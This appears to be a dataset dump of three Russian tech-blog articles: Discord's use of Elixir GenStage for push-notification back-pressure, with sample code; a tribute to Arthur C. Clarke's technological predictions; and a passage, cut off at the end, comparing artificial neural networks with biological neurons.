Что такое GenStage? GenStage — это новый режим (behaviour) Elixir для обмена событиями под обратным давлением между процессами Elixir. [ 0 ]
Что это значит на самом деле? По существу, этот режим даёт вам необходимые инструменты, чтобы ни одна часть вашей системы не перегружалась.
На практике, система с режимами GenStage обычно имеет несколько этапов. Этапы (stages) — это шаги вычислений, которые отправляют и/или получают данные от других этапов.
Когда этап отправляет данные, он выступает в качестве производителя. Когда получает данные, то в качестве потребителя. Этапы могут играть роли одновременно и производителя, и потребителя.
Кроме назначения ролей производителя и потребителя, этап можно назначить «источником» (source), если он только производит элементы, или назначить «стоком» (sink), если он их только потребляет. [ 1 ] Подход
Мы разделили систему на два этапа GenStage. Один источник и один сток. Этап 1 — Push Collector. Это производитель, который получает push-запросы. Сейчас у нас один процесс Erlang для Push Collector на одну машину.
Этап 2 — Pusher. Это потребитель, который требует push-запросы от Push Collector и отправлят их к Firebase. Он запрашивает только по 100 запросов за раз, чтобы не превысить лимит Firebase на количество одновременных запросов. Процессов типа Pusher (тоже на Erlang) много на каждой машине.
Обратное давление и сброс нагрузки с помощью GenStage
У GenStage есть две ключевые функции, которые помогают нам во время всплеска запросов: обратное давление (back-pressure) и сброс нагрузки (load-shedding). Обратное давление
Pusher использует функциональность GenStage, чтобы запросить у Push Collector'а максимальное количество запросов, которые Pusher может обработать. Это гарантирует верхнюю границу по количеству push-запросов, которые находятся в ожидании. Когда Firebase подтверждает запрос, тогда Pusher требует ещё от Push Collector'а.
Pusher знает точное количество запросов, которое может выдержать соединение Firebase XMPP, и никогда не требует лишнего. А Push Collector никогда не высылает запрос в сторону Pusher, если тот не попросил. Сброс нагрузки
Поскольку Pusher'ы оказывают обратное давление на Push Collector, то появляется потенциальное бутылочное горлышко в Push Collector. Супер-дупер мощные всплески могут его перегрузить.
В GenStage имеется другая встроенная функция для таких ситуаций: буферизованные события.
В Push Collector мы определяем, сколько push-запросов помещать в буфер. В нормальном состоянии буфер пустой, но один раз в месяц при наступлении катастрофических событий он приходится весьма кстати.
Если через систему проходит ну уж очень много событий и буфер заполняется, тогда Push Collector сбрасывает входящие push-запросы. Это происходит само собой просто за счёт указания опции buffer_size в функции init Push Collector'а.
С этими двумя функциями мы способны справляться со всплесками push-уведомлений. Код (наконец, самая важная часть)
Ниже пример кода, как мы настроили этапы Pusher и Push Collector. Для простоты мы убрали много фрагментов, отвечающих за обработку отказов, когда теряется соединение, Firebase возвращает ошибки и т.д.
Вы можете пропустить код, если хотите посмотреть на результат. Push Collector (производитель) push_collector.ex defmodule GCM.PushCollector do
use GenStage
# Client
def push(pid, push_requests) do
GenServer.cast(pid, {:push, push_requests})
end
# Server
def init(_args) do
# Run as producer and specify the max amount
# of push requests to buffer.
{:producer, :ok, buffer_size: @max_buffer_size}
end
def handle_cast({:push, push_requests}, state) do
# Dispatch the push_requests as events.
# These will be buffered if there are no consumers ready.
{:noreply, push_requests, state}
end
def handle_demand(_demand, state) do
# Do nothing. Events will be dispatched as-is.
{:noreply, [], state}
end
end Pusher (потребитель) pusher.ex defmodule GCM.Pusher do
use GenStage
# The maximum number of requests Firebase allows at once per XMPP connection
@max_demand 100
defstruct [
:producer,
:producer_from,
:fcm_conn_pid,
:pending_requests,
]
def start_link(producer, fcm_conn_pid, opts \\ []) do
GenStage.start_link(__MODULE__, {producer, fcm_conn_pid}, opts)
end
def init({producer, fcm_conn_pid}) do
state = %__MODULE__{
next_id: 1,
pending_requests: Map.new,
producer: producer,
fcm_conn_pid: fcm_conn_pid,
}
send(self, :init)
# Run as consumer
{:consumer, state}
end
def handle_info(:init, %{producer: producer}=state) do
# Subscribe to the Push Collector
GenStage.async_subscribe(self, to: producer, cancel: :temporary)
{:noreply, [], state}
end
def handle_subscribe(:producer, _opts, from, state) do
# Start demanding requests now that we are subscribed
GenStage.ask(from, @max_demand)
{:manual, %{state | producer_from: from}}
end
def handle_events(push_requests, _from, state) do
# We got some push requests from the Push Collector.
# Let’s send them.
state = Enum.reduce(push_requests, state, &do_send/2)
{:noreply, [], state}
end
# Send the message to FCM, track as a pending request
defp do_send(%{fcm_conn_pid: fcm_conn_pid, pending_requests: pending_requests}=state, push_request) do
{message_id, state} = generate_id(state)
xml = PushRequest.to_xml(push_request, message_id)
:ok = FCM.Connection.send(fcm_conn_pid, xml)
pending_requests = Map.put(pending_requests, message_id, push_request)
%{state | pending_requests: pending_requests}
end
# FCM response handling
defp handle_response(%{message_id: message_id}=response, %{pending_requests: pending_requests, producer_from: producer_from}=state) do
{push_request, pending_requests} = Map.pop(pending_requests, message_id)
# Since we finished a request, ask the Push Collector for more.
GenStage.ask(producer_from, 1)
%{state | pending_requests: pending_requests}
end
defp generate_id(%{next_id: next_id}=state) do
{to_string(next_id), %{state | next_id: next_id + 1}}
end
end Пример инцидента
Ниже показан реальный инцидент, с которым столкнулась система. На верхнем графике показано количество push-запросов в секунду, проходящих через систему. На нижнем графике — количество push-запросов, помещённых в буфер Push Collector. Хроника событий: ~17:47:00 — Система работает в нормальном режиме.
~17:47:30 — К нам начинает поступать поток сообщений. Push Collector немного задействовал буфер, ожидая реакции Pusher. Вскоре буфер чуть освободился.
~17:48:50 — Pusher'ы не могут отправлять сообщения в Firebase быстрее, чем они поступают, так что буфер Push Collector'а начинает заполняться.
~17:50:00 — Буфер Pusher Collector достигает пика и начинает сбрасывать некоторые запросы.
~17:50:50 — Буфер Pusher Collector начинает освобождаться и перестаёт сбрасывать запросы.
~17:51:30 — Наплыв запросов пошёл на спад.
~17:52:30 — Система полностью вернулась в норму.
Успех Elixir
Мы в Discord очень довольны использованием Elixir и Erlang как ключевой технологии на наших сервисах бэкенда. Приятно видеть расширения вроде GenStage, которые опираются на нерушимые технологии Erlang/OTP.
Мы ищем смелых духом, чтобы помочь в решении таких проблем, поскольку Discord продолжает расти. Если вы любите игры и такого рода задачи заставляют ваше сердце биться чаще, посмотрите наши вакансии . | https://habrahabr.ru/post/317724/ |
habrahabr | Магия технологий и сэр Артур | ['артур кларк', 'будущее', 'технологии', 'предсказания', 'фантастика'] |
Сегодня без году круглая дата — 99 лет со дня рождения одного из классиков научной фантастики и действительно прекрасного писателя Артура Чарльза Кларка. И хотя его уже нет в живых, но его... |
Сегодня без году круглая дата — 99 лет со дня рождения одного из классиков научной фантастики и действительно прекрасного писателя Артура Чарльза Кларка. И хотя его уже нет в живых, но его многогранное наследие не просто почитается, но и влияет на жизнь миллиардов людей, которые и не подозревают о его роли.
Будущий столп фантастики начал писать довольно рано, в 20 лет, и не останавливался до самой смерти. За 70 лет писательской карьеры Кларк написал уйму романов, повестей и рассказов. В годы войны он участвовал в практической разработке авиарадара, облегчающего пилотирование в сложных погодных условиях, а после демобилизации Кларк окончил престижное учебное заведение в Лондоне, где изучал физику и математику. При этом будущий рыцарь-бакалавр обрёл славу во многом именно благодаря визионерскому взгляду на будущее человечества и технологий.
За примерами далеко ходить не придётся. Поднимите руку, кто хотя бы не слышал, не то что не смотрел, фильм « Космическая одиссея 2001 года »?
Сам фильм снят в 1968 году по мотивам рассказа Кларка «Часовой». Однако сам писатель говорил, что рассказа стал, скорее, отправной точкой, а большая часть сюжета была придумана им вместе с Кубриком. В том же году, но уже после выхода фильма в прокат, вышел и одноимённый роман , в основу которого лёг переработанный Кларком сценарий.
Также многим любителям фантастики известен и замечательный роман « Свидание с Рамой »: в пределы Солнечной системы вошёл циклопических размеров искусственный цилиндр. Прибывшие на исследование люди обнаружили, что цилиндр представляет собой небесное тело, предназначенное для проживания огромной колонии, со своей атмосферой, гидросферой и биосферой.
Наверняка многим вспомнится роман « Конец детства », в котором освещается идея появления расы пришельцев, которые начинают диктовать дальнейшее развитие человечества, дав ему невероятные технические блага, но при этом строго контролируя его развитие. Недавно по роману был снят одноимённый сериал .
Если вас интересует космонавтика, то наверняка вы знакомы с идеей космического лифта. Не исключено, что, если бы не Кларк с его романом « Фонтаны рая », посвящённым постройке этой мегаконструкции, эта идея до сих пор бродила бы только в узких кругах.
Конечно, произведения Кларка интересны в первую очередь своими сюжетами. Но нередко он предсказывал концепции гаджетов, устройств и техники, которые позднее действительно реализовывались в жизни. Например, в том же романе «Одиссея 2001 года» Кларк напророчил: Появление планшета с возможностью чтения электронных газет. А вы думали, это Джобс такой гений, придумавший айпад?
К 2001 году компьютер смог победить человека в шахматы. Как мы знаем, это случилось в 1997.
Появление карманных персональных компьютеров. Позднее этот термин впервые применили к Apple Newton.
Бомбардировку кометы (в романе — астероида) зондом (металлической болванкой) для изучения химического состава.
Исследование атмосферы Юпитера с помощью спускаемого аппарата.
Впрочем, сэр Артур славен не только литературными предсказаниями: в 1945 году он высказал идею создания сети геостационарных спутников связи.
С тех пор в западной литературе геостационарную орбиту иногда называют «орбитой Кларка» или «поясом Кларка». Первый такой спутник был запущен почти через 20 лет. Сегодня важность геостационарных спутников связи трудно переоценить — ими прямо и косвенно ежедневно пользуются миллионы людей, не говоря уже о том, сколько жизней зависят от аппаратов, летящих на расстоянии почти 36 000 км от Земли.
В 1957 году СССР запустил первый в мире искусственный спутник, но ещё за три года до этого Артуру Кларку пришла в голову идея, что в будущем можно будет отслеживать со спутников погоду. Сегодня дистанционное зондирование атмосферы является одним из ключевых инструментов для формирования более-менее достоверных прогнозов погоды.
Как написал сэр Артур в далёком 1962-м: «Любая достаточно развитая технология неотличима от магии». Глядя на нашу технологическую экосистему, трудно с ним поспорить. Мы можем, мирно посапывая в кресле, лететь в небе на огромной высоте. Можем несколькими движениями пальцев вывести себе на ладонь любую информацию. Кинематограф сегодня способен невероятно достоверно показать любую фантазию, пришедшую в воспалённый мозг сценариста. Мы строим огромные заводы, на которых немногочисленные люди нужны лишь для того, чтобы присматривать за машинами, без устали создающими для нас всевозможные блага. Уже сегодня пассажирские авиалайнеры большую часть маршрута пролетают без участия человека, а скоро нас будут возить автомобили, которым не нужен водитель. Это ли не магия? | https://geektimes.ru/company/mailru/blog/283764/ |
habrahabr | Логика сознания. Часть 9. Искусственные нейронные сети и миниколонки реальной коры | ['искусственный интеллект', 'машинное обучение', 'биология', 'смысл', 'нейронные сети', 'нейрон', 'сознание'] | Приходит ветеринар к терапевту. Терапевт: — На что жалуетесь? Ветеринар: — Нет, ну так каждый может!
Искусственные нейронные сети способны обучаться. Воспринимая множество примеров, они могут... | Приходит ветеринар к терапевту. Терапевт: — На что жалуетесь? Ветеринар: — Нет, ну так каждый может!
Искусственные нейронные сети способны обучаться. Воспринимая множество примеров, они могут самостоятельно находить в данных закономерности и выделять скрытые в них признаки. Искусственные нейронные сети во многих задачах показывают очень неплохие результаты. Закономерный вопрос — насколько нейронные сети похожи на реальный мозг? Ответ на этот вопрос важен главным образом для того, чтобы понять, можно ли, развивая идеологию искусственных нейронных сетей, добиться того же, на что способен человеческий мозг? Важно понять, носят ли различия косметический или идеологический характер.
Как это ни удивительно, но очень похоже, что реальный мозг противоречит всем базовым принципам искусственных нейронных сетей. Это вдвойне удивительно, учитывая, что изначально искусственные нейронные сети создавались как попытка воспроизвести именно биологические механизмы. Но в том и коварство подобных ситуаций. Очень часто то, что на первый взгляд выглядит правдоподобно, на поверку оказывается полной противоположностью того, что есть на самом деле. Искусственные нейронные сети
Перед тем как описать механизмы обучения реальных нейронов перечислим основные принципы, на которых основываются искусственные нейронные сети. Этих принципов несколько. Все они очень тесно связаны между собой. Нарушение любого из них ломает всю концепцию работы искусственных нейронных сетей. После этого мы покажем, что в «настоящих нейронных сетях» не выполняется ни один из этих принципов. Принцип 1. Каждый нейрон – это детектор некого свойства.
Реальный нейрон, если описывать его упрощенно, выглядит достаточно просто. На дендритах располагаются синапсы. Синапсы контактируют с другими нейронами. Сигналы от других нейронов через синапсы поступают в тело нейрона, где суммируются. Если сумма превышает определенный порог, то возникает собственный сигнал нейрона – спайк, он же потенциал действия. Спайк распространяется по аксону и поступает на другие нейроны. Синапсы могут менять свою чувствительность. Таким образом нейрон может настраиваться реагировать на определенные комбинации активности других нейронов.
Все это хотя и выглядит достаточно правдоподобно очень далеко от работы реальных нейронов. Но пока мы описываем классическую модель и будем следовать такой логике. Упрощенная схема реального нейрона
Из описанного выше с неизбежностью следует формальная модель – искусственный нейрон Маккалока — Питтса, разработанный в начале 1940-х годов (Маккалох Дж., Питтс У., 1956). Формальный нейрон Маккалока — Питтса
На входы такого нейрона подаются сигналы. Эти сигналы взвешенно суммируются. Далее к этой линейной комбинации применяется некая нелинейная функция активации, например, сигмоидальная. Часто как сигмоидальную используют логистическую функцию: Логистическая функция
В этом случае активность формального нейрона записывается как
В итоге такой нейрон превращается в пороговый сумматор. При достаточно крутой пороговой функции сигнал выхода нейрона – либо 0, либо 1. Взвешенная сумма входного сигнала и весов нейрона – это сравнение двух образов: образа входного сигнала и образа, описываемого весами нейрона. Результат сравнения тем выше, чем точнее соответствие этих образов. То есть нейрон, по сути, определяет, насколько подаваемый сигнал похож на образ, записанный на его синапсах. Когда значение взвешенной суммы превышает определенный уровень, и пороговая функция переключается в единицу, это можно интерпретировать как решительное заявление нейрона о том, что он узнал предъявляемый образ.
В разных моделях возможны различные вариации того, как должен срабатывать искусственный нейрон. Если убрать пороговую функцию, то нейрон превратится в линейный сумматор. Можно вместо сравнения с шаблоном, который задает веса, проверять входной сигнал на соответствие многомерному нормальному распределению с определенными параметрами, это используется в сетях на основе радиально-базисных функций. Можно подавать сигналы, распределенные во времени, и вводить для синапсов временные параметры, настраивая таким образом нейрон на чувствительность к определенным последовательностям. Возможны и другие варианты. Общее между всеми ними – это соответствие нейрона знаменитой концепции «нейрона-бабушки».
Ключевой момент для всех нейронных сетей – это восприятие нейронов, как детекторов каких-либо свойств. Нечто появляется в описании – нейрон, который соответствует этому «нечто» реагирует на это своей активностью. Вариации нейронных сетей – это вариации методов детектирования и обучения этому детектированию. Принцип 2. Информация в нейронной сети – это признаковое описание.
В классическом представлении каждый нейрон видит картину активности других нейронов, которые создают его входной сигнал. При этом каждый нейрон является детектором чего-то. Если собрать входной сигнал в вектор, то получится так называемое признаковое описание .
В признаковом описании, как следует из названия, каждый элемент вектора описания соответствует определенному признаку. При этом не принципиально, как задан элемент. Это может быть бинарное значение – присутствует признак или нет. Может быть количественное значение – насколько выражен признак в описании. Порядковое или номинальное значение – как реализовался в описании этот признак.
Например, возьмем бинарный 32-битный вектор. Будем кодировать буквы английского алфавита.
Первый вариант. Нулевой бит – буква «A», первый бит буква «B» и так далее. 26 бит будут советовать 26 буквам. Затем сделаем бит – заглавная буква или прописная. Бит – курсив или не курсив, бит на толщину, бит на подчеркивание и так далее. Если зараз кодировать одну букву, то можно закодировать одну из 26 букв в разных вариантах написания. Это типичное признаковое описание. Каждый бит – это определенный признак.
Второй вариант. Машинная кодировка, типа, юникод. Символы кодируются уникальными бинарными кодами. Но отдельные биты уже не являются признаками. В кодах разных несвязанных между собой букв могут быть общие единицы. Такое кодирование уже не является признаковым описанием, хотя внешне и там, и там 32 битный бинарный вектор.
Информация, с которой имеют дело нейронные сети – это всегда признаковое описание. И это следует из первого принципа, согласно которому нейроны – детекторы признаков. Принцип 3. Нейронная сеть, как правило, – это преобразователь признаковых описаний.
Вход нейронной сети – это признаковое описание. Результат работы – также признаковое описание, но состоящее уже из других признаков. Например, если мы хотим сделать сеть, которая будет узнавать цифры по их изображению, то входными признаками могут быть значения яркости точек картинки, а выходными распознанные цифры.
Преобразуя одно признаковое описание в другое, может оказаться полезным использовать промежуточные признаки, которых нет ни во входном, ни в выходном описании. Можно сделать несколько слоев таких промежуточных признаков. Такие нейронные сети выглядят наподобие того, что показано на рисунке ниже. Многослойный персептрон с двумя скрытыми слоями (Хайкин, 2006)
Типичный пример нейронной сети со скрытыми признаками — это слоистая сеть прямого распространения. Каждый слой такой сети, кроме входного, состоит из нейронов-детекторов. Эти нейроны настраиваются на узнавание определенных признаков. Каждый слой повторяет исходное описание, но уже в своих, характерных для этого слоя признаках.
Если выход сети снова подать на вход, то получится динамическая рекуррентная сеть. В сети прямого распространения состояние выхода определяется сразу после активации всех нейронов. В рекуррентной сети только со временем возникает устойчивое состояние, которое и является результатом ее работы.
Независимо от типа сети на каждом слое мы имеем дело с признаковым описанием, составленным из нейронов-детекторов. Принцип 4. Количество нейронов в сети определяет число признаков, с которыми может работать эта сеть.
Количество нейронов на каком-либо слое сети определяет то, сколько максимально признаков доступно для выделения этому слою. Обычно количество нейронов в сети задается изначально перед началом обучения. Так как заранее неизвестно, сколько полезных признаков может выделиться, то оптимальное число нейронов в слоях подбирают итерационно.
В принципе, можно при необходимости «на лету» добавлять новые нейроны, но это требует особого подхода к обучению и связано с существенными сложностями. Принцип 5. Обучение сети – это настройка весов соединяющих нейроны связей.
Детектором какого свойства является тот или иной искусственный нейрон определяется тем, какие значения принимают его веса. Обучение нейронной сети происходит за счет такого изменения весов нейронов, которое оптимизирует те требования, что мы к этой сети предъявляем.
Два основных вида обучения – это обучение без учителя и обучение с учителем. Обучение без учителя
При обучении без учителя нейронная сеть наблюдает за входными данными, не имея заранее представления о том, какой выходной сигнал должен соответствовать тем или иным событиям. Но так как в данных могут содержаться определенные закономерности, то можно так настроить поведение сети, чтобы ее нейроны стали реагировать каждый на свою закономерность.
Например, можно взять однослойную сеть, состоящую из линейных сумматоров, и заставить ее выделять главные компоненты подаваемого набора данных . Для этого можно инициировать сеть случайными весами, при подаче сигнала определять победителя и затем сдвигать его веса в сторону поданного сигнала. В итоге нейроны сами «растащат» между собой основные факторы, содержащиеся во входной информации.
Можно сделать автокодировщик . Создать сеть из трех слоев с условием, что средний слой должен быть меньше по размеру чем входной слой, а выходной слой должен быть равен входному. Задача автокодировщика – как можно точнее воспроизводить на выходном слое картину входного слоя. Автокодировщик
Так как по дороге от входа к выходу стоит слой с меньшей размерностью, то автокодировщику придется научиться сжимать данные, то есть выделять на нейронах среднего слоя наиболее значимые факторы. Средний слой в последствии и будет являться рабочим выходом сети.
Для обучения автокодировщика можно на каждом шаге считать ошибку между первым и третьим слоем и корректировать веса сети в сторону уменьшения этой ошибки. Это позволяет сделать, например, метод обратного распространения ошибки .
Могут быть и другие методы. Например, сеть радиальных базисных функций , основываясь на идеях EM алгоритма, может осуществлять решение задачи классификации. В такой сети нейроны скрытого слоя оценивают не соответствие подаваемого образа и образа, задаваемого весами нейрона, а вероятность соответствия входного сигнала нормальным распределениям, параметры которых хранятся в этих нейронах. Обучение с учителем
При обучении с учителем мы заранее определяем какой выходной сигнал мы хотим получить от сети в каждом из обучающих примеров. Задача обучения – это так настроить веса, чтобы сеть наиболее точно угадывала ответы из обучающего набора. Тогда появляется надежда, что сеть уловила закономерности и сможет угадывать выходной сигнал и для данных, которых не было при обучении.
Для сети прямого распространения обучение выглядит следующим образом. Изначально сеть инициируется случайными весами. Подается обучающий пример и вычисляется активность сети. Формируется представление об ошибке, то есть разность между тем, что должно быть на выходном слое и что получилось у сети. Далее веса корректируются так, чтобы уменьшить эту ошибку.
Для однослойного персептрона можно воспользоваться дельта-правилом .
Дельта-правило очень похоже на правило Хебба, которое имеет очень простой смысл: связи нейронов, активирующихся совместно, должны усиливаться, а связи нейронов, срабатывающих независимо, должны ослабевать. Но правило Хебба изначально сформулировано для обучения без учителя и позволяет нейронам самим настраиваться на выделение факторов. При обучении с учителем совместную активность надо понимать несколько иначе. В этом случае правило Хебба приобретает вид: Первое правило — Если выходной сигнал персептрона неверен и равен нулю, то необходимо увеличить веса тех входов, на которые была подана единица.
Второе правило — Если выходной сигнал персептрона неверен и равен единице, то необходимо уменьшить веса тех входов, на которые была подана единица.
Если Y – это вектор реального выхода персептрона, а D – вектор, который мы ожидаем получить, то вектор ошибки:
Дельта-правило для изменения связи между i и j нейронами:
По сути в однослойной сети мы пытаемся построить на нейронах выходного слоя портреты выходных признаков в терминах входных признаков. Весами связей мы задаем наиболее характерный, типовой портрет выходного признака.
Сложности начинаются, когда оказывается, что однозначного портрета может не существовать. Например, когда мы пытаемся узнавать буквы, то при обучении мы можем использовать и прописные и заглавные буквы. При это если мы не делаем между ними разницы, то выходной нейрон, отвечающий за букву «А» должен будет реагировать сразу на два образа – образ «А» и образ «а». Аналогично, написание букв может быть совершенно различным в разных почерках. Если пытаться совместить все эти портреты на одном нейроне, то ничего хорошего не получится. Образ будет столь размыт, что может оказаться практически бесполезен.
В таких случаях помогает многослойная сеть со скрытыми слоями. На нейронах скрытых слоев могут формироваться самостоятельные портреты различных реализаций выходных признаков. Кроме того, в скрытых слоях могут выделяться факторы, общие для разных выходных нейронов и при этом полезные для дифференциации одних выходных признаков от других.
Для обучения многослойной сети используется метод обратного распространения ошибки . Метод состоит из двух проходов: прямого и обратного. При прямом проходе подается обучающий сигнал и рассчитывается активность всех узлов сети, включая активность выходного слоя. Вычитанием полученной активности из того, что требовалось получить, определяется сигнал ошибки. При обратном проходе сигнал ошибки распространяется в обратном направлении, от выхода ко входу. При этом синаптические веса настраиваются с целью минимизации этой ошибки. Принцип 6. Конечность обучения. Дилемма стабильности-пластичности.
При обучении нейронной сети каждый раз после подачи нового обучающего примера вычисляется некая поправка к весам связей. При этом вычисляются градиенты, которые указывают, в какую сторону стоит ту или иную связь изменить, усилить или ослабить.
В начале обучения можно вести себя достаточно смело и относительно сильно корректировать связи нейронов. Но по мере обучения оказывается, что резкие изменения уже недопустимы, так как они начинают переучивать сеть, подстраивая ее под новый опыт, затирая при этом опыт предыдущий. Выход достаточно очевиден. В алгоритмы вводится параметр скорости обучения. По мере обучения скорость уменьшается и новый опыт уже не радикально меняет веса, а только слегка их подправляет.
Недостаток такого подхода в том, что с определенного момента сеть «костенеет» и перестает изменяться. По этой причине традиционные сети трудно дообучать. Если появляется такая необходимость, то оказывается проще заново с нуля обучить сеть на расширенном наборе данных, включающем как старый так и новый опыт.
Вопрос дообучения упирается в то, что новый опыт начинает менять веса сети и тем самым изменяет старое обучение. Проблема разрушения старого опыта новой информацией называется дилеммой стабильности-пластичности.
Вариант решения предложен Стефаном Гроссбергом (Grossberg, 1987) как «теория адаптивного резонанса». Суть этой теории в том, что поступающая информация делится на классы. Каждый класс имеет свой прототип – образ, наиболее точно соответствующий этому классу. Для новой информации определяется, принадлежит ли она к одному из существующих классов, либо она является уникальной, непохожей ни на что предыдущее. Если информация не уникальна, то она используется для уточнения прототипа класса. Если же это что-то принципиально новое, то создается новый класс, прототипом которого ложится этот образ. Такой подход позволяет, с одной стороны, создавать новые детекторы, а с другой стороны, не разрушать уже созданные.
Но идеология адаптивного резонанса плохо совместима с остальными методами обучения, так как, по сути, требует добавления новых нейронов прямо в процессе обучения сети. Модель обучения с активной памятью
Различают два подхода к обучению — адаптивный и пакетный. При адаптивном обучении новый опыт используется для некоторого изменения ранее достигнутого состояния весов сети с целью адаптировать их к этому новому опыту. При этом полагается, что веса сети уже учитывают в себе все, что связано с ранее полученным опытом. В пакетном подходе исходят из того, что при получении нового примера нам остается доступен весь предыдущий опыт и при обучении мы можем не адаптировать веса, а просто рассчитать их заново.
Хранение предыдущего опыта сильно упрощает вопрос стабильности-пластичности сети.
Рассмотрим задачу распознавание цифр, например, набора MNIST . На вход нейронной сети подаются изображения рукописных цифр, на выходе смотрят за реакцией нейронов, соответствующих цифрам от 0 до 9. Входные изображения имеют размер 28 на 28 пикселей, всего 784 точки. Пример рукописных цифр набора MNIST
Обычно для решения такого рода задач используют сверточные сети и многоуровневую архитектуру. Подробнее работу таких сетей мы рассмотрим позже. В силу простоты и предварительной подготовленности набора MNIST (все цифры одного размера и отцентрованы) хорошие результаты получаются даже при применении простого однослойного или двуслойного персептрона.
На рисунке ниже приведена самая простая однослойная сеть. Вход этой сети – 784 точки изображения. Выход – нейроны, соответствующие цифрам. Однослойная сеть для распознавания рукописных цифр
Обучать такую сеть можно, например, дельта-правилом. В результате обучения веса выходных нейронов настроятся на некие усреднено-схематичные образы цифр. Размытые настолько, чтобы максимально «покрывать» свои прототипы, но при этом не сильно «наползать» на другие цифры. Параметр скорости обучения здесь имеет вполне конкретную трактовку. Так как происходит своеобразное усреднение изображений одной цифры, то вклад каждого следующего примера в формирование усреднения должен быть обратно пропорционален количеству уже прошедших примеров.
В обучающем наборе одни и те же цифры есть в разном написании. Например, двойка «просто» и двойка с «петелькой» в основании (рисунок ниже). Простой сети ничего не остается кроме как построить гибридный портрет, что, конечно, не улучшает качества ее работы. Варианты «двойки»
В многослойной сети появляется надежда, что в скрытых слоях варианты основания двойки выделяться отдельными признаками. Тогда выходной слой сможет увереннее узнавать двойку, ориентируясь на появление одного из этих признаков.
Создание усредненных размытых портретов позволяет успешно узнавать образы в большинстве случаев, но накладывает предел на достижимое качество узнавания. Размытие неизбежно ведет к потере информации.
При обучении нейронов выходного слоя создаются «хорошие» классификаторы для каждой из цифр. Их веса – это лучшее, что можно получить из идеологии «давайте сделаем портрет класса».
Когда компьютеры были слабыми или, вообще не дай бог, приходилось считать вручную, очень важно было использовать такие методы, которые позволяли бы минимальными вычислениями получать хорошие результаты. Многие идеи «хороших» алгоритмов исходят именно из такой экономии вычислений. Надо сделать некую дискриминантную функцию, которая позволит вычислить принадлежность объекта к классу. Или надо вычислить главные факторы и оперировать описанием в них вместо исходных данных.
Для любого «хорошего» базового алгоритма существует предел достижимой точности, который определяется тем, какой процент информации был им потерян в процессе построения факторов или создания дискриминантной функции.
Улучшить общий результат можно за счет применения сразу нескольких различных классификаторов. Из нескольких классификаторов можно создать комитет, который голосованием будет принимать решения об отнесении объекта к классу. Такой подход называется бустингом .
При бустинге не обязательно использовать «хорошие» классификаторы. Годятся любые неслучайные, то есть такие у которых вероятность правильного отнесения выше вероятности случайного выбора. Самое интересное, что во многих случаях, увеличивая количество «плохих», но неслучайных классификаторов, можно добиться сколь угодно точного результата. Справедливы такие рассуждения и для искусственных нейронных сетей.
Идеология нейронов-детекторов, обученных на размыто-усредненный образ, — это во многом дань «экономным» методам вычислений. Правда, само обучение далеко не всегда можно назвать экономным и быстрым, но зато результат – это сеть с относительно небольшим количеством нейронов.
Альтернативой концепции «хороших» нейронов-детекторов может выступать концепция «активной памяти». Каждый отдельный обучающий пример – это образ, который может самостоятельно выступать классификатором. То есть, на каждый обучающий пример можно создавать отдельный нейрон, веса которого будут копировать входной сигнал. Такой нейрон может работать, например, в режиме линейного сумматора, тогда его реакция будет тем сильнее, чем больше будет похож подаваемый сигнал на запомненный им образ. Из таких воспоминаний детекторов можно собрать сеть, показанную на рисунке ниже. Нейронная сеть с воспоминаниями-детекторами. Связи воспоминаний и выходных нейронов несколько сложнее, чем просто суммирование
В приведенной на рисунке сети входной слой нейронов передает свой сигнал на элементы второго среднего слоя. Элементы второго слоя не будем называть нейронами, а назовем воспоминаниями. Каждый обучающий пример создает новое воспоминание. При подаче примера вновь созданное воспоминание отпечатывает на себе точный образ сигнала входного слоя. Выход элемента-воспоминания замыкается на нейроне выходного слоя, соответствующем тому, что предписывает правильный ответ.
Обучение такой сети с учителем сводится к запоминанию примеров и созданию связей типа «пример-ответ».
В режиме распознавания каждое воспоминание самостоятельно определяет степень своей похожести на текущий образ. Из совокупного срабатывания воспоминаний создается информация для выходного слоя, которая позволяет понять, какому нейрону стоит активироваться.
При внешней простоте сети с памятью ее работа не так проста, как может показаться. От элементов этой сети требуется значительно более сложная логика работы, чем от традиционных формальных нейронов. Механизм сравнения
Механизм сравнения воспоминания и образа зависит от формы представления описания. Надо сказать, что признаковое описание – достаточно неудачная форма. Например, две соседние по картинке точки в признаковом описании дают нулевое совпадение, если для сравнения используется скалярное произведение соответствующих описаниям векторов. Именно по этой причине при кодировании картинки через вектор, описывающий яркость отдельных точек, «размытое» описание оказывается предпочтительнее «четкого». В размытых картинках вместо отдельной точки появляется «пятно». Соответственно, близкие точки начинают давать определенное совпадение при сравнении (рисунок ниже). Единичное смещение приводит к полному отсутствию совпадения (слева). Аналогичная ситуация после размытия дает существенное совпадения (справа) (Fukushima K., 2013)
Идея с «размытием» подходит не только для изображений, но и для любых признаковых описаний. Для этого требуется задать матрицу близости признаков описания. Тогда для любого входного сигнала перед сравнением можно создавать его «размытие» и уже его использовать в скалярном произведении. Для картинок близость признаков определяется близостью точек на изображении. Для произвольных сигналов задать близость признаков несколько сложнее. Иногда в этом может помочь статистика их совместного проявления.
Если «размывание» используется для сравнения одного «четкого» сигнала с другим «четким» сигналом, то это не так страшно. Плохо, когда на нейронах-детекторах выделяется «размытый» образ, удобный для сравнения. В этом случае происходит необратимая потеря информации. Выход воспоминания
В примерах MNIST цифры не имеют фона, свободны от шумов и приходятся по одной на картинку. В более сложных задачах кроме целевого объекта на изображении или в описании может содержаться дополнительная информация. За счет этого в сложных задачах проще говорить не о точном или высоком совпадении, а о том, является ли величина совпадения случайной или же в двух описаниях есть нечто, позволяющее говорить об их определенном сходстве.
При распознавании цифр надо оценить к какой цифре ближе текущий образ. Для этого можно вычислить среднее значение совпадения текущего образа с воспоминаниями, относящимися к каждой из цифр. Такая оценка усредненного совпадения хотя и будет нести определенный смысл, будет плоха для принятия решения. Например, класс двоек содержит как минимум два варианта написания – с «петелькой» внизу и без нее. Еще хуже ситуация, например, с написанием букв. К одному классу могут относится как заглавные так и строчные написания одной буквы.
В таких случаях разумно усреднять примеры раздельно для каждого из вариантов написания. То есть имеет смысл предварительно провести кластеризацию среди воспоминаний, относящихся к одному классу, и разбить их на соответствующие группы.
Кроме того, если нужный образ только часть воспоминания, то надо учитывать этот факт. Хотелось бы, чтобы выход воспоминания давал оценку именно «полезного» совпадения, а не того, какая часть воспоминания совпала. Например, отойдем от тепличного MNIST и предположим, что в обучающем примере было сразу две цифры, двойка и тройка, написанные рядом. Мы сдвинули изображение так, чтобы двойка совпала с другими запомненными двойками. Но в созданном воспоминании тройка останется, как находящийся рядом шум. Сравнивая потом это воспоминание с образом, где есть двойка, хотелось бы, чтобы шум не влиял на величину оценки совпадения. Активация выходных нейронов
